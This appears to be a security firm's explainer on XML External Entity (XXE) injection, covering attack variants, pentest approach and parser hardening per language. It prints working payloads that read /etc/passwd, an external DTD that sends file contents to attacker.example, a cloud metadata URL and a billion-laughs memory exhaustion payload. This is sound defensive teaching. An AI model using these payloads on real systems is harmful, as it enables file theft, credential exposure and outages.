July 22, 2026 · 7 min read · concepts
XXE (XML External Entity injection) is a vulnerability in software that processes XML, usually a web application or API. The parser reads a reference to an external resource that the attacker put in the XML themselves, and fetches it. That lets an attacker read files off the server or make requests to systems they normally cannot reach.
This works through an entity, a kind of variable in an XML document. Most entities are harmless and stand for a piece of text. An external entity takes its value from somewhere else, from a local file or a URL. As soon as the parser meets such an entity, it fetches that source and puts the content in the middle of the document.
Abuse only works when two things come together. The XML comes (partly) from the user, and the parser fetches external entities. Whether it goes wrong therefore depends entirely on the parser. Modern parsers no longer do this by default, so you mainly encounter XXE in older or self-built XML and SOAP processing. In the OWASP Top 10 it was still its own category in 2017 (A4). Since 2021 it falls under A05 Security Misconfiguration, precisely because the cause is a parser that allows too much. In the MITRE list it is CWE-611.
An attack begins with an entity the attacker declares themselves in a DOCTYPE, with a reference to the file they want to read. Then they call that entity in the content:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
The parser meets &xxe;, fetches /etc/passwd and puts the content in that spot. If the application returns the processed document, the attacker reads the file along with it. This is called in-band XXE, because the answer sits in the same response. The server only reads data here. It does not execute code.
Not every file comes out just like that. If it contains characters with a special XML meaning, such as < or &, the parser breaks on the content. On PHP you get around that with the built-in filter php://filter/convert.base64-encode/resource=/etc/passwd, which base64-encodes the file first. That base64 does pass through the parser, after which you decode it yourself. Outside PHP you catch the content through an external DTD in a CDATA block.
Often the application does not return the processed document, so the attacker does not see the file. That does not make the application any safer. With a blind XXE the attacker makes the server send the content to an address of their own. An empty response therefore says nothing about safety.
This works with a parameter entity, a variant you write with a % and that only works inside the DTD. The submitted file references a second piece of XML on the attacker’s server:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd">
%xxe;
]>
<foo>test</foo>
That evil.dtd reads a file and pastes the content into a URL back to the attacker:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example/?d=%file;'>">
%eval;
%exfil;
The server reads /etc/passwd and sends the content along to the attacker, who sees the file appear in their logs. The % is an encoded % character, so that it only counts once %eval; is expanded and not already while reading the DTD. This has to go through a separate DTD file, because inside the submitted document the XML standard forbids such nested parameter entities.
If no outbound connection works, there is still another way. With an error-based XXE the attacker makes the parser open a file that does not exist, with a path built from the content of the target file. The error message then contains that path, and thus the content. That way the data leaks through error handling instead of through a server of your own.
How far an attacker gets depends on which files the server process may open and which kinds of URL the parser accepts.
file:// is allowed, an attacker can request any file the server process itself may read, such as configuration files with passwords or private keys.http:// URL the server makes the request from its own network, for example to a cloud metadata address like http://169.254.169.254/latest/meta-data/ that can hand over credentials.expect:// wrapper, an XXE can grow into a full takeover of the server, but that wrapper is not in a standard installation.One last variant needs no external source and leans purely on the entities themselves. In the classic billion laughs an attacker defines a series of entities that call each other ten times over:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>
&lol4; here already stands for a thousand times lol, and every extra layer multiplies that by ten again. At around nine levels the parser has to write out lol hundreds of millions of times and memory fills up. Strictly speaking this is not XXE, because no external entity is involved. It leans on the same parser setting. As soon as DTDs and entities are on it works, and the same fix helps. Not allowing a DOCTYPE removes this attack as well.
XXE is not a paper risk. In Apache Solr an XXE ran through to code execution via CVE-2017-12629, and in 2024 there was one in the SAML component of Ivanti Connect Secure (CVE-2024-22024), good for access without credentials.
The attack surface is larger than it looks. XXE is far from always in an obvious XML field. File uploads and endpoints that actually expect something else can start processing XML too.
In a web application pentest we seek out every place where the application reads XML. The obvious ones are SOAP services, SAML messages and import features. Less visible are file uploads, because a DOCX, XLSX or SVG internally consists of XML. Sometimes an endpoint that expects JSON will process XML anyway once you switch the Content-Type to application/xml.
At every place we start small. First we check whether the parser expands entities at all, with a harmless internal entity that replaces one word. If that word comes back in the response, entities are being processed and the chance of XXE is high. Then we try an external entity to a test file or to our own server. If we see the file content in the answer, we read it along. If the answer stays empty, we test blind and make the server send a request our way. Burp Suite with the Collaborator catches that callback. If we find a hole, we show concretely which file or internal system can be pulled out, not just that it can.
The best solution is at the same time the simplest. Stop the parser from accepting a DOCTYPE at all. No DOCTYPE means no entities, and then every variant is gone in one go. If you really cannot do without the DOCTYPE, disable external entity resolution, both the regular and the parameter variant. Disabling only the first leaves the blind attack open.
Each parser has the switch somewhere else:
| Parser | What you disable |
|---|---|
| Java (DocumentBuilderFactory, SAX) | disallow-doctype-decl to true; additionally external general and parameter entities to false |
| .NET (XmlReader) | DtdProcessing = DtdProcessing.Prohibit and XmlResolver = null |
| PHP (libxml) | safe since libxml 2.9.0; never pass LIBXML_NOENT to loadXML() |
| Python | use defusedxml instead of the standard xml modules |
Modern runtimes are often set up well already. .NET is safe by default from Framework 4.6 and in .NET Core and 5+, and libxml (under PHP) has not loaded external entities since 2.9.0 from 2012. The real pitfall in PHP is the LIBXML_NOENT flag. Pass it to loadXML() by accident and you turn entity resolution back on. Java, by contrast, still allows external entities by default in current JDKs, so there you have to disable them yourself.
Watch out for one exception. An XInclude attack works without a DOCTYPE, so blocking the DTD does not help against it. Set XIncludeAware to false as well if you do not use that feature. If you work with simple data, a format without entities such as JSON is safer anyway. Keep your XML libraries up to date, because it was precisely the old versions that still fetched external entities. The full settings per language are in the OWASP XXE Prevention Cheat Sheet.
In the end it comes down to one principle. An XML parser should never fetch a file or URL by itself that it does not need.
http:// URL in an XXE and the server makes that request, so you use XXE to reach SSRF. The other way around, an SSRF does not have to come from XXE.
expect:// wrapper, an attacker can execute code through XXE, though that wrapper is not in a standard installation. The direct damage usually lies in data leaks and SSRF.
SSRF (Server-Side Request Forgery) lets an attacker make your server send HTTP requests to addresses of their choosing. We test where that is possible.
ffuf is a blazing-fast web fuzzer in Go for finding hidden directories, files, parameters, subdomains and virtual hosts of a web application.
Lateral movement is how an attacker moves from system to system after the initial breach, on the way to domain admin. We show the risk in your network.